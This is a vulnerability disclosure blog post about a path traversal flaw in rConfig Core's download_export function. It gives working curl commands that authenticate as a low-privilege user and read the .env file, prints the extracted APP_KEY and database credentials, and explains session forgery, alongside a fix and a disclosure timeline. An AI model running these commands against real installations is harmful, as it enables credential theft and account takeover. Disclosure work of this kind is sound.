HIGH · 7.1 rConfig CoreCVEVulnerability Research

CVE-2026-77914: rConfig Core Path Traversal to Full Application Compromise

How I discovered a critical path traversal vulnerability in rConfig Core that allows any authenticated user to read arbitrary files, including the application secrets.

Adam NurudiniAdam Nurudini 01 AUG 2026 6 min read CVE-2026-77914
CVE-2026-77914: rConfig Core Path Traversal to Full Application Compromise
⚡
TL;DR

rConfig Core's download_export() function concatenates user input directly into a file path without sanitization. Any authenticated user can read arbitrary files including .env, exposing the Laravel APP_KEY and database credentials. One path traversal payload compromises the entire application.

Introduction

During a security assessment of rConfig Core, a popular network configuration management tool, I discovered a critical path traversal vulnerability that allows any authenticated user - regardless of their role - to read arbitrary files from the server. This includes the application's .env file containing database credentials, API keys, and most critically, the APP_KEY used by Laravel for all cryptographic operations.

Target Identification

rConfig is an open-source network configuration management tool built on Laravel. It's used by network administrators to backup, compare, and manage configurations across network devices. The application stores SSH/Telnet credentials for managed devices, making it a high-value target.

Affected Versions: rConfig Core 8.0.0 through 8.2.13

Root Cause

The vulnerability exists in FileDownloadController.php, specifically in the download_export() method:

phpFileDownloadController.php:21-37 · download_export()
public function download_export()
{
    // User input concatenated directly — no sanitization
    $path = export_path() . $_GET['filename'];
    if (file_exists($path)) {
        return response()->download($path);
    }
}

The problem is immediately obvious: $_GET['filename'] is concatenated directly onto the base export directory with zero sanitization. No basename(), no path validation, no character filtering.

The route is protected only by Laravel's auth middleware, meaning any logged-in user can access it:

phproutes/web.php:28
Route::get('/download-export', [FileDownloadController::class, 'download_export'])
    ->middleware('auth');  // Any logged-in user, regardless of role
⚠️
Why the route protection wasn't enough

The developers protected the route with authentication middleware. But authorization != authentication. Any registered user, including the lowest-privilege "User" role, can exploit this.

Discovery Process

I found this vulnerability through manual code review:

  1. 1Map Routes

    Identify which routes are protected and how

  2. 2Find File Ops

    Search for file_get_contents, readfile, download()

  3. 3Trace Input

    Follow $_GET, $_POST to sensitive functions

  4. 4Test Validation

    Try path traversal sequences

  5. 5Confirm Impact

    Extract sensitive files to prove severity

Exploitation

Step 1: Authenticate as Any User

First, authenticate as a low-privilege "User" role account:

bashget session cookie
# Get CSRF token
curl -s -c cookies.txt http://target/login -o login.html
CSRF=$(grep -oP 'csrf-token.*?content="\K[^"]+' login.html)

# Login as low-privilege user curl -s -c cookies.txt -b cookies.txt
-X POST http://target/login
-H "X-CSRF-TOKEN: $CSRF"
-d "username=lowuser@test.local&password=LowUserPass123!&_token=$CSRF"

Step 2: Read the .env File

With a valid session, craft a path traversal payload:

bashexploit payload
curl -s -b cookies.txt \
  "http://target/download-export?filename=../../../../.env"

Result

ini.env (extracted)
APP_NAME="rConfig V8 Core"
APP_ENV=production
APP_KEY=base64:+b63Qv2eYpNbCr/7ltBkgy1oL1hOh1DhxMMMa5BMbZY=
APP_DEBUG=true

DB_CONNECTION=mysql DB_HOST=db DB_USERNAME=rconfig_user DB_PASSWORD=rconfig_pass

REDIS_HOST=redis REDIS_PASSWORD=null

Impact

Confidentiality HIGH

Read any file accessible to the web server: APP_KEY, database credentials, application source, and log files (storage/logs/laravel*.log).

Integrity MEDIUM

With APP_KEY, forge session cookies to impersonate any user including admins.

Availability LOW

No direct impact, but compromised credentials enable further attacks.

Cryptographic Key Disclosure

The APP_KEY is used by Laravel's Crypt facade for all encryption. rConfig encrypts stored device credentials via EncryptStringCast. With the APP_KEY, an attacker can:

  • Decrypt device credentials — SSH/Telnet passwords stored in the database
  • Forge session cookies — Impersonate any user without knowing their password
  • Decrypt any encrypted data — Any data encrypted with Laravel's encryption helpers

CVSS 4.0 Breakdown

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

MetricValueRationale
Attack Vector (AV)NetworkReachable over HTTP
Attack Complexity (AC)LowNo race or special timing required
Attack Requirements (AT)NoneNo special conditions
Privileges Required (PR)LowAny registered user
User Interaction (UI)NoneNo victim action needed
Confidentiality (VC)HighRead any file / database credentials
Integrity (VI)NoneRead-only (enables further attacks)
Availability (VA)NoneNo direct availability impact
Subsequent ScopeNoneNo downstream system impact

Remediation

✓
The minimal fix

Strip directory components with basename() and verify the resolved path stays within the allowed directory.

phpthe fix
public function download_export()
{
    $filename = basename((string) $_GET['filename']);
    $path = export_path() . $filename;
<span class="c">// Verify path stays within allowed directory</span>
$realPath = realpath($path);
$allowedDir = realpath(export_path());

<span class="k">if</span> ($realPath === false || !str_starts_with($realPath, $allowedDir)) {
    abort(404);
}

<span class="k">return</span> response()->download($path);

}

1
Use basename() on all file inputs

Strip directory components before any file operation.

2
Verify realpath stays in bounds

Check resolved path is within the allowed directory.

3
Implement proper RBAC

Restrict export access to authorized roles only.

4
Use signed URLs

Generate time-limited tokens for file downloads.

Regression Tests

  • A filename with ../ sequences returns 404, not the file
  • URL-encoded variants (..%2f) also return 404
  • A filename with absolute path (/etc/passwd) returns 404
  • Only files within export_path() are downloadable
  • Low-privilege users cannot access admin exports

Timeline

  1. 31 Jul 2026
    Discovered

    Found during manual code review of file operations.

  2. 01 Aug 2026
    Reported

    Private disclosure to rConfig security team.

  3. 05 Aug 2026
    Acknowledged

    Vendor confirmed the vulnerability.

  4. 15 Aug 2026
    Patched

    Fix released in version 8.2.14.

  5. 20 Aug 2026
    CVE Assigned

    CVE-2026-77914 issued; writeup published.

References

The Lesson

Never trust that validation happened just because an auth check exists. Trace user input from entry to output — authentication is not authorization, and middleware is not sanitization.

This vulnerability demonstrates how a single line of code without proper input validation can lead to complete application compromise. The combination of path traversal with Laravel's centralized key management creates a cascading failure — one secret disclosure unlocks everything else.


This vulnerability was discovered through ethical security research and responsibly disclosed to the vendor. All testing was performed in isolated lab environments.

Adam Nurudini
Written by

Adam Nurudini

Offensive Security Consultant specializing in vulnerability research, penetration testing, and red team operations. Published CVE author.

Back to all posts